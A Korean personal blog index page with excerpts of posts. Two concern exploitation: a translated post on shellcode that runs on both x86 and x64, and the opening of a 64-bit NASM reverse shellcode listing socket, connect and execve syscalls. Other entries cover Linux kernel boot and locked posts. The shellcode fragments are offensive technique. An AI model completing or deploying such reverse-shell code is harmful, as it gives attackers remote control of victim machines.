본문 바로가기

전체 글

(388)
x64, x32bit multi_arch shellcode [번역] 나는 동일한 코드를 이용해서 x86과 x64 두 아키텍처에서 동작하는 쉘코드가 필요했다.하나를 가정해보자. 너가 만약에 x64 또는 x86인 시스템 플랫폼을 공격한다고 가정해보자, 사전에 정확한 플랫폼을 알 수 없다.문제점은 실제로 동작해야하는 것이지?여기에 너가 x64에서 동작하는지 안하는지 알려주는 내가 오래동안 사용했던 작으 트릭이 있다.이 작은 트릭(아이디어)는 매우 간단하다. 그 이유는 x64와 x86은 많은 opcode 값들을 공유하기 때문이다. x86 시스템에서 사용하는 한바이트 inc, dec opcode 는 0x40-0x50 범위의 작은 유사성이 있습니다.8개의 범용 레지스터와 2 opcode 가 있기 때문에, 전체 범위는 0x40-50사이입니다.현재 AMD64's ISA(Instruct..
64bit reverse shellcode 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192bits 64 ;#define __NR_execve 59;#define __NR_connect 42;#define __NR_socket 41 ; rax systemcall number; rdi 1; rsi 2; rdx 3; r10 4; r8 5; r9 6; rax return value global mainsection .textmain: ;sock = socket(AF_INET, SOCK_STR..
Android JNI 보호되어 있는 글입니다.
가장 큰 정사각형 보호되어 있는 글입니다.
[Pydbg] API 함수 후킹 템플릿 보호되어 있는 글입니다.
16일차 영어 정리 보호되어 있는 글입니다.
15일차 영어 정리 보호되어 있는 글입니다.
리눅스 커널 부팅 과정[0] 리눅스 커널 소스의 부팅 과정 하나 하나 깊게 짚고 들어가기 전에 넓게 그림을 그리고 간다. (0) start.S 부분이 리눅스 커널의 가장 먼저 시작 부분. (/linux-3.16.3-elv210-v01/arch/arm/boot/compressed) misc.c 부분 (/linux-3.16.3-elv210-v01/arch/arm/boot/compressed) (1) 리눅스 커널의 압축이 해체가 됨 (2) 압축된 코드를 재배치 함 (compressed/head.S) (3) head.S (arch/arm/kernel/) —> 위의 head.S 와는 다름 시스템을 초기화 한 후, start_kernel을 호출한다. 이러한 부분에서 스택과 같은 것을 설정한다. 그 후 이제 .c 파일이 실행 할수 있게 된다. ..